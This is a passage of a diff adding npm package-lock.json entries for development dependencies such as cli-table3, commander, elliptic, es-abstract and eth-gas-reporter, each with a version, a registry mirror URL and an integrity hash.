"sha512-qw5B31ANxSluWz9xBzklRWTUAJ1SXIdaVKTVS7HcTGKOAmExx65Wo5BUICW+YGORe2FOUaDghoI9ZDxj82QcFg==", + "dev": true, + "requires": { + "abstract-level": "^1.0.2", + "catering": "^2.1.0", + "module-error": "^1.0.1", + "napi-macros": "~2.0.0", + "node-gyp-build": "^4.3.0" + } + }, + "clean-stack": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/clean-stack/-/clean-stack-2.2.0.tgz", + "integrity": "sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==", + "dev": true + }, + "cli-table3": { + "version": "0.5.1", + "resolved": "https://registry.npmmirror.com/cli-table3/-/cli-table3-0.5.1.tgz", + "integrity": "sha512-7Qg2Jrep1S/+Q3EceiZtQcDPWxhAvBw+ERf1162v4sikJrvojMHFqXt8QIVha8UlH9rgU0BeWPytZ9/TzYqlUw==", + "dev": true, + "peer": true, + "requires": { + "colors": "^1.1.2", + "object-assign": "^4.1.0", + "string-width": "^2.1.1" + }, + "dependencies": { + "ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "dev": true, + "peer": true + }, + "is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "dev": true, + "peer": true + }, + "string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "dev": true, + "peer": true, + "requires": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + } + }, + "strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "dev": true, + "peer": true, + "requires": { + "ansi-regex": "^3.0.0" + } + } + } + }, + "cliui": { + "version": "7.0.4", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-7.0.4.tgz", + "integrity": "sha512-OcRE68cOsVMXp1Yvonl/fzkQOyjLSu/8bhPDfQt0e0/Eb283TKP20Fs2MqoPsr9SwA595rRCA+QMzYc9nBP+JQ==", + "dev": true, + "requires": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.0", + "wrap-ansi": "^7.0.0" + } + }, + "color-convert": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/color-convert/-/color-convert-1.9.3.tgz", + "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", + "dev": true, + "requires": { + "color-name": "1.1.3" + } + }, + "color-name": { + "version": "1.1.3", + "resolved": "https://registry.npmmirror.com/color-name/-/color-name-1.1.3.tgz", + "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==", + "dev": true + }, + "colors": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/colors/-/colors-1.4.0.tgz", + "integrity": "sha512-a+UqTh4kgZg/SlGvfbzDHpgRu7AAQOmmqRHJnxhRZICKFUT91brVhNNt58CMWU9PsBbv3PDCZUHbVxuDiH2mtA==", + "dev": true, + "peer": true + }, + "combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "peer": true, + "requires": { + "delayed-stream": "~1.0.0" + } + }, + "command-exists": { + "version": "1.2.9", + "resolved": "https://registry.npmmirror.com/command-exists/-/command-exists-1.2.9.tgz", + "integrity": "sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==", + "dev": true + }, + "command-line-args": { + "version": "5.2.1", + "resolved": "https://registry.npmmirror.com/command-line-args/-/command-line-args-5.2.1.tgz", + "integrity": "sha512-H4UfQhZyakIjC74I9d34fGYDwk3XpSr17QhEd0Q3I9Xq1CETHo4Hcuo87WyWHpAF1aSLjLRf5lD9ZGX2qStUvg==", + "dev": true, + "peer": true, + "requires": { + "array-back": "^3.1.0", + "find-replace": "^3.0.0", + "lodash.camelcase": "^4.3.0", + "typical": "^4.0.0" + } + }, + "command-line-usage": { + "version": "6.1.3", + "resolved": "https://registry.npmmirror.com/command-line-usage/-/command-line-usage-6.1.3.tgz", + "integrity": "sha512-sH5ZSPr+7UStsloltmDh7Ce5fb8XPlHyoPzTpyyMuYCtervL65+ubVZ6Q61cFtFl62UyJlc8/JwERRbAFPUqgw==", + "dev": true, + "peer": true, + "requires": { + "array-back": "^4.0.2", + "chalk": "^2.4.2", + "table-layout": "^1.0.2", + "typical": "^5.2.0" + }, + "dependencies": { + "array-back": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/array-back/-/array-back-4.0.2.tgz", + "integrity": "sha512-NbdMezxqf94cnNfWLL7V/im0Ub+Anbb0IoZhvzie8+4HJ4nMQuzHuy49FkGYCJK2yAloZ3meiB6AVMClbrI1vg==", + "dev": true, + "peer": true + }, + "typical": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/typical/-/typical-5.2.0.tgz", + "integrity": "sha512-dvdQgNDNJo+8B2uBQoqdb11eUCE1JQXhvjC/CZtgvZseVd5TYMXnq0+vuUemXbd/Se29cTaUuPX3YIc2xgbvIg==", + "dev": true, + "peer": true + } + } + }, + "commander": { + "version": "3.0.2", + "resolved": "https://registry.npmmirror.com/commander/-/commander-3.0.2.tgz", + "integrity": "sha512-Gar0ASD4BDyKC4hl4DwHqDrmvjoxWKZigVnAbn5H1owvm4CxCPdb0HQDehwNYMJpla5+M2tPmPARzhtYuwpHow==", + "dev": true + }, + "concat-map": { + "version": "0.0.1", + "resolved": "https://registry.npmmirror.com/concat-map/-/concat-map-0.0.1.tgz", + "integrity": "sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==", + "dev": true + }, + "concat-stream": { + "version": "1.6.2", + "resolved": "https://registry.npmmirror.com/concat-stream/-/concat-stream-1.6.2.tgz", + "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", + "dev": true, + "peer": true, + "requires": { + "buffer-from": "^1.0.0", + "inherits": "^2.0.3", + "readable-stream": "^2.2.2", + "typedarray": "^0.0.6" + }, + "dependencies": { + "readable-stream": { + "version": "2.3.7", + "resolved": "https://registry.npmmirror.com/readable-stream/-/readable-stream-2.3.7.tgz", + "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "dev": true, + "peer": true, + "requires": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmmirror.com/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "dev": true, + "peer": true + }, + "string_decoder": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/string_decoder/-/string_decoder-1.1.1.tgz", + "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", + "dev": true, + "peer": true, + "requires": { + "safe-buffer": "~5.1.0" + } + } + } + }, + "cookie": { + "version": "0.4.2", + "resolved": "https://registry.npmmirror.com/cookie/-/cookie-0.4.2.tgz", + "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA==", + "dev": true + }, + "core-util-is": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/core-util-is/-/core-util-is-1.0.2.tgz", + "integrity": "sha512-3lqz5YjWTYnW6dlDa5TLaTCcShfar1e40rmcJVwCBJC6mWlFuj0eCHIElmG1g5kyuJ/GD+8Wn4FFCcz4gJPfaQ==", + "dev": true, + "peer": true + }, + "crc-32": { + "version": "1.2.2", + "resolved": "https://registry.npmmirror.com/crc-32/-/crc-32-1.2.2.tgz", + "integrity": "sha512-ROmzCKrTnOwybPcJApAA6WBWij23HVfGVNKqqrZpuyZOHqK2CwHSvpGuyt/UNNvaIjEd8X5IFGp4Mh+Ie1IHJQ==", + "dev": true + }, + "create-hash": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/create-hash/-/create-hash-1.2.0.tgz", + "integrity": "sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==", + "dev": true, + "requires": { + "cipher-base": "^1.0.1", + "inherits": "^2.0.1", + "md5.js": "^1.3.4", + "ripemd160": "^2.0.1", + "sha.js": "^2.4.0" + } + }, + "create-hmac": { + "version": "1.1.7", + "resolved": "https://registry.npmmirror.com/create-hmac/-/create-hmac-1.1.7.tgz", + "integrity": "sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==", + "dev": true, + "requires": { + "cipher-base": "^1.0.3", + "create-hash": "^1.1.0", + "inherits": "^2.0.1", + "ripemd160": "^2.0.0", + "safe-buffer": "^5.0.1", + "sha.js": "^2.4.8" + } + }, + "create-require": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/create-require/-/create-require-1.1.1.tgz", + "integrity": "sha512-dcKFX3jn0MpIaXjisoRvexIJVEKzaq7z2rZKxf+MSr9TkdmHmsU4m2lcLojrj/FHl8mk5VxMmYA+ftRkP/3oKQ==", + "dev": true, + "peer": true + }, + "crypt": { + "version": "0.0.2", + "resolved": "https://registry.npmmirror.com/crypt/-/crypt-0.0.2.tgz", + "integrity": "sha512-mCxBlsHFYh9C+HVpiEacem8FEBnMXgU9gy4zmNC+SXAZNB/1idgp/aulFJ4FgCi7GPEVbfyng092GqL2k2rmow==", + "dev": true, + "peer": true + }, + "dashdash": { + "version": "1.14.1", + "resolved": "https://registry.npmmirror.com/dashdash/-/dashdash-1.14.1.tgz", + "integrity": "sha512-jRFi8UDGo6j+odZiEpjazZaWqEal3w/basFjQHQEwVtZJGDpxbH1MeYluwCS8Xq5wmLJooDlMgvVarmWfGM44g==", + "dev": true, + "peer": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "death": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/death/-/death-1.1.0.tgz", + "integrity": "sha512-vsV6S4KVHvTGxbEcij7hkWRv0It+sGGWVOM67dQde/o5Xjnr+KmLjxWJii2uEObIrt1CcM9w0Yaovx+iOlIL+w==", + "dev": true, + "peer": true + }, + "debug": { + "version": "4.3.4", + "resolved": "https://registry.npmmirror.com/debug/-/debug-4.3.4.tgz", + "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "decamelize": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-4.0.0.tgz", + "integrity": "sha512-9iE1PgSik9HeIIw2JO94IidnE3eBoQrFJ3w7sFuzSX4DpmZ3v5sZpUiV5Swcf6mQEF+Y0ru8Neo+p+nyh2J+hQ==", + "dev": true + }, + "deep-eql": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/deep-eql/-/deep-eql-4.1.1.tgz", + "integrity": "sha512-rc6HkZswtl+KMi/IODZ8k7C/P37clC2Rf1HYI11GqdbgvggIyHjsU5MdjlTlaP6eu24c0sR3mcW2SqsVZ1sXUw==", + "dev": true, + "peer": true, + "requires": { + "type-detect": "^4.0.0" + } + }, + "deep-extend": { + "version": "0.6.0", + "resolved": "https://registry.npmmirror.com/deep-extend/-/deep-extend-0.6.0.tgz", + "integrity": "sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==", + "dev": true, + "peer": true + }, + "deep-is": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/deep-is/-/deep-is-0.1.4.tgz", + "integrity": "sha512-oIPzksmTg4/MriiaYGO+okXDT7ztn/w3Eptv/+gSIdMdKsJo0u4CfYNFJPy+4SKMuCqGw2wxnA+URMg3t8a/bQ==", + "dev": true, + "peer": true + }, + "define-properties": { + "version": "1.1.4", + "resolved": "https://registry.npmmirror.com/define-properties/-/define-properties-1.1.4.tgz", + "integrity": "sha512-uckOqKcfaVvtBdsVkdPv3XjveQJsNQqmhXgRi8uhvWWuPYZCNlzT8qAyblUgNoXdHdjMTzAqeGjAoli8f+bzPA==", + "dev": true, + "peer": true, + "requires": { + "has-property-descriptors": "^1.0.0", + "object-keys": "^1.1.1" + } + }, + "delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "peer": true + }, + "depd": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz", + "integrity": "sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==", + "dev": true + }, + "detect-port": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/detect-port/-/detect-port-1.5.1.tgz", + "integrity": "sha512-aBzdj76lueB6uUst5iAs7+0H/oOjqI5D16XUWxlWMIMROhcM0rfsNVk93zTngq1dDNpoXRr++Sus7ETAExppAQ==", + "dev": true, + "peer": true, + "requires": { + "address": "^1.0.1", + "debug": "4" + } + }, + "diff": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-5.0.0.tgz", + "integrity": "sha512-/VTCrvm5Z0JGty/BWHljh+BAiw3IK+2j87NGMu8Nwc/f48WoDAC395uomO9ZD117ZOBaHmkX1oyLvkVM/aIT3w==", + "dev": true + }, + "difflib": { + "version": "0.2.4", + "resolved": "https://registry.npmmirror.com/difflib/-/difflib-0.2.4.tgz", + "integrity": "sha512-9YVwmMb0wQHQNr5J9m6BSj6fk4pfGITGQOOs+D9Fl+INODWFOfvhIU1hNv6GgR1RBoC/9NJcwu77zShxV0kT7w==", + "dev": true, + "peer": true, + "requires": { + "heap": ">= 0.2.0" + } + }, + "dir-glob": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/dir-glob/-/dir-glob-3.0.1.tgz", + "integrity": "sha512-WkrWp9GR4KXfKGYzOLmTuGVi1UWFfws377n9cc55/tb6DuqyF6pcQ5AbiHEshaDpY9v6oaSr2XCDidGmMwdzIA==", + "dev": true, + "peer": true, + "requires": { + "path-type": "^4.0.0" + } + }, + "ecc-jsbn": { + "version": "0.1.2", + "resolved": "https://registry.npmmirror.com/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz", + "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==", + "dev": true, + "peer": true, + "requires": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "elliptic": { + "version": "6.5.4", + "resolved": "https://registry.npmmirror.com/elliptic/-/elliptic-6.5.4.tgz", + "integrity": "sha512-iLhC6ULemrljPZb+QutR5TQGB+pdW6KGD5RSegS+8sorOZT+rdQFbsQFJgvN3eRqNALqJer4oQ16YvJHlU8hzQ==", + "dev": true, + "requires": { + "bn.js": "^4.11.9", + "brorand": "^1.1.0", + "hash.js": "^1.0.0", + "hmac-drbg": "^1.0.1", + "inherits": "^2.0.4", + "minimalistic-assert": "^1.0.1", + "minimalistic-crypto-utils": "^1.0.1" + }, + "dependencies": { + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true + } + } + }, + "emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true + }, + "enquirer": { + "version": "2.3.6", + "resolved": "https://registry.npmmirror.com/enquirer/-/enquirer-2.3.6.tgz", + "integrity": "sha512-yjNnPr315/FjS4zIsUxYguYUPP2e1NK4d7E7ZOLiyYCcbFBiTMyID+2wvm2w6+pZ/odMA7cRkjhsPbltwBOrLg==", + "dev": true, + "requires": { + "ansi-colors": "^4.1.1" + } + }, + "env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmmirror.com/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true + }, + "es-abstract": { + "version": "1.20.3", + "resolved": "https://registry.npmmirror.com/es-abstract/-/es-abstract-1.20.3.tgz", + "integrity": "sha512-AyrnaKVpMzljIdwjzrj+LxGmj8ik2LckwXacHqrJJ/jxz6dDDBcZ7I7nlHM0FvEW8MfbWJwOd+yT2XzYW49Frw==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "es-to-primitive": "^1.2.1", + "function-bind": "^1.1.1", + "function.prototype.name": "^1.1.5", + "get-intrinsic": "^1.1.3", + "get-symbol-description": "^1.0.0", + "has": "^1.0.3", + "has-property-descriptors": "^1.0.0", + "has-symbols": "^1.0.3", + "internal-slot": "^1.0.3", + "is-callable": "^1.2.6", + "is-negative-zero": "^2.0.2", + "is-regex": "^1.1.4", + "is-shared-array-buffer": "^1.0.2", + "is-string": "^1.0.7", + "is-weakref": "^1.0.2", + "object-inspect": "^1.12.2", + "object-keys": "^1.1.1", + "object.assign": "^4.1.4", + "regexp.prototype.flags": "^1.4.3", + "safe-regex-test": "^1.0.0", + "string.prototype.trimend": "^1.0.5", + "string.prototype.trimstart": "^1.0.5", + "unbox-primitive": "^1.0.2" + }, + "dependencies": { + "object.assign": { + "version": "4.1.4", + "resolved": "https://registry.npmmirror.com/object.assign/-/object.assign-4.1.4.tgz", + "integrity": "sha512-1mxKf0e58bvyjSCtKYY4sRe9itRk3PJpquJOjeIkz885CczcI4IvJJDLPS72oowuSh+pBxUFROpX+TU++hxhZQ==", + "dev": true, + "peer": true, + "requires": { + "call-bind": "^1.0.2", + "define-properties": "^1.1.4", + "has-symbols": "^1.0.3", + "object-keys": "^1.1.1" + } + } + } + }, + "es-array-method-boxes-properly": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz", + "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==", + "dev": true, + "peer": true + }, + "es-to-primitive": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/es-to-primitive/-/es-to-primitive-1.2.1.tgz", + "integrity": "sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==", + "dev": true, + "peer": true, + "requires": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + } + }, + "escalade": { + "version": "3.1.1", + "resolved": "https://registry.npmmirror.com/escalade/-/escalade-3.1.1.tgz", + "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "dev": true + }, + "escape-string-regexp": { + "version": "1.0.5", + "resolved": "https://registry.npmmirror.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", + "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==", + "dev": true + }, + "escodegen": { + "version": "1.8.1", + "resolved": "https://registry.npmmirror.com/escodegen/-/escodegen-1.8.1.tgz", + "integrity": "sha512-yhi5S+mNTOuRvyW4gWlg5W1byMaQGWWSYHXsuFZ7GBo7tpyOwi2EdzMP/QWxh9hwkD2m+wDVHJsxhRIj+v/b/A==", + "dev": true, + "peer": true, + "requires": { + "esprima": "^2.7.1", + "estraverse": "^1.9.1", + "esutils": "^2.0.2", + "optionator": "^0.8.1", + "source-map": "~0.2.0" + }, + "dependencies": { + "source-map": { + "version": "0.2.0", + "resolved": "https://registry.npmmirror.com/source-map/-/source-map-0.2.0.tgz", + "integrity": "sha512-CBdZ2oa/BHhS4xj5DlhjWNHcan57/5YuvfdLf17iVmIpd9KRm+DFLmC6nBNj+6Ua7Kt3TmOjDpQT1aTYOQtoUA==", + "dev": true, + "optional": true, + "peer": true, + "requires": { + "amdefine": ">=0.0.4" + } + } + } + }, + "esprima": { + "version": "2.7.3", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-2.7.3.tgz", + "integrity": "sha512-OarPfz0lFCiW4/AV2Oy1Rp9qu0iusTKqykwTspGCZtPxmF81JR4MmIebvF1F9+UOKth2ZubLQ4XGGaU+hSn99A==", + "dev": true, + "peer": true + }, + "estraverse": { + "version": "1.9.3", + "resolved": "https://registry.npmmirror.com/estraverse/-/estraverse-1.9.3.tgz", + "integrity": "sha512-25w1fMXQrGdoquWnScXZGckOv+Wes+JDnuN/+7ex3SauFRS72r2lFDec0EKPt2YD1wUJ/IrfEex+9yp4hfSOJA==", + "dev": true, + "peer": true + }, + "esutils": { + "version": "2.0.3", + "resolved": "https://registry.npmmirror.com/esutils/-/esutils-2.0.3.tgz", + "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", + "dev": true, + "peer": true + }, + "eth-gas-reporter": { + "version": "0.2.25", + "resolved": "https://registry.npmmirror.com/eth-gas-reporter/-/eth-gas-reporter-0.2.25.tgz", + "integrity": "sha512-1fRgyE4xUB8SoqLgN3eDfpDfwEfRxh2Sz1b7wzFbyQA+9TekMmvSjjoRu9SKcSVyK+vLkLIsVbJDsTWjw195OQ==", + "dev": true, + "peer": true, + "requires": { + "@ethersproject/abi": "^5.0.0-beta.146", + "@solidity-parser/parser": "^0.14.0", + "cli-table3": "^0.5.0", + "colors": "1.4.0", + "ethereum-cryptography": "^1.0.3", + "ethers": "^4.0.40", + "fs-readdir-recursive": "^1.1.0", + "lodash": "^4.17.14", + "markdown-table": "^1.1.3", + "mocha": "^7.1.1", + "req-cwd": "^2.0.0", + "request": "^2.88.0", + "request-promise-native": "^1.0.5", + "sha1": "^1.1.1", + "sync-request": "^6.0.0" + }, + "dependencies": { + "ansi-colors": { + "version": "3.2.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-3.2.3.tgz", + "integrity": "sha512-LEHHyuhlPY3TmuUYMh2oz89lTShfvgbmzaBcxve9t/9Wuy7Dwf4yoAKcND7KFT1HAQfqZ12qtc+DUrBMeKF9nw==", + "dev": true, + "peer": true + }, + "ansi-regex": { + "version": "4.1.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-4.1.1.tgz", + "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==", + "dev": true, + "peer": true + }, + "argparse": { + "version": "1.0.10", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-1.0.10.tgz", + "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", + "dev": true, + "peer": true, + "requires": { + "sprintf-js": "~1.0.2" + } + }, + "bn.js": { + "version": "4.12.0", + "resolved": "https://registry.npmmirror.com/bn.js/-/bn.js-4.12.0.tgz", + "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==", + "dev": true, + "peer": true + }, + "camelcase": { + "version": "5.3.1", + "resolved": "https://registry.npmmirror.com/camelcase/-/camelcase-5.3.1.tgz", + "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==", + "dev": true, + "peer": true + }, + "chokidar": { + "version": "3.3.0", + "resolved": "https://registry.npmmirror.com/chokidar/-/chokidar-3.3.0.tgz", + "integrity": "sha512-dGmKLDdT3Gdl7fBUe8XK+gAtGmzy5Fn0XkkWQuYxGIgWVPPse2CxFA5mtrlD0TOHaHjEUqkWNyP1XdHoJES/4A==", + "dev": true, + "peer": true, + "requires": { + "anymatch": "~3.1.1", + "braces": "~3.0.2", + "fsevents": "~2.1.1", + "glob-parent": "~5.1.0", + "is-binary-path": "~2.1.0", + "is-glob": "~4.0.1", + "normalize-path": "~3.0.0", + "readdirp": "~3.2.0" + } + }, + "cliui": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/cliui/-/cliui-5.0.0.tgz", + "integrity": "sha512-PYeGSEmmHM6zvoef2w8TPzlrnNpXIjTipYK780YswmIP9vjxmd6Y2a3CB2Ks6/AU8NHjZugXvo8w3oWM2qnwXA==", + "dev": true, + "peer": true, + "requires": { + "string-width": "^3.1.0", + "strip-ansi": "^5.2.0", + "wrap-ansi": "^5.1.0" + } + }, + "debug": { + "version": "3.2.6", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.6.tgz", + "integrity": "sha512-mel+jf7nrtEl5Pn1Qx46zARXKDpBbvzezse7p7LqINmdoIk8PYP5SySaxEmYv6TZ0JyEKA1hsCId6DIhgITtWQ==", + "dev": true, + "peer": true, + "requires": { + "ms": "^2.1.1" + } + }, + "decamelize": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/decamelize/-/decamelize-1.2.0.tgz", + "integrity": "sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==", + "dev": true, + "peer": true + }, + "diff": { + "version": "3.5.0", + "resolved": "https://registry.npmmirror.com/diff/-/diff-3.5.0.tgz", + "integrity": "sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==", + "dev": true, + "peer": true + }, + "emoji-regex": { + "version": "7.0.3", + "resolved": "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-7.0.3.tgz", + "integrity": "sha512-CwBLREIQ7LvYFB0WyRvwhq5N5qPhc6PMjD6bYggFlI5YyDgl+0vxq5VHbMOFqLg7hfWzmu8T5Z1QofhmTIhItA==", + "dev": true, + "peer": true + }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmmirror.com/esprima/-/esprima-4.0.1.tgz", + "integrity": 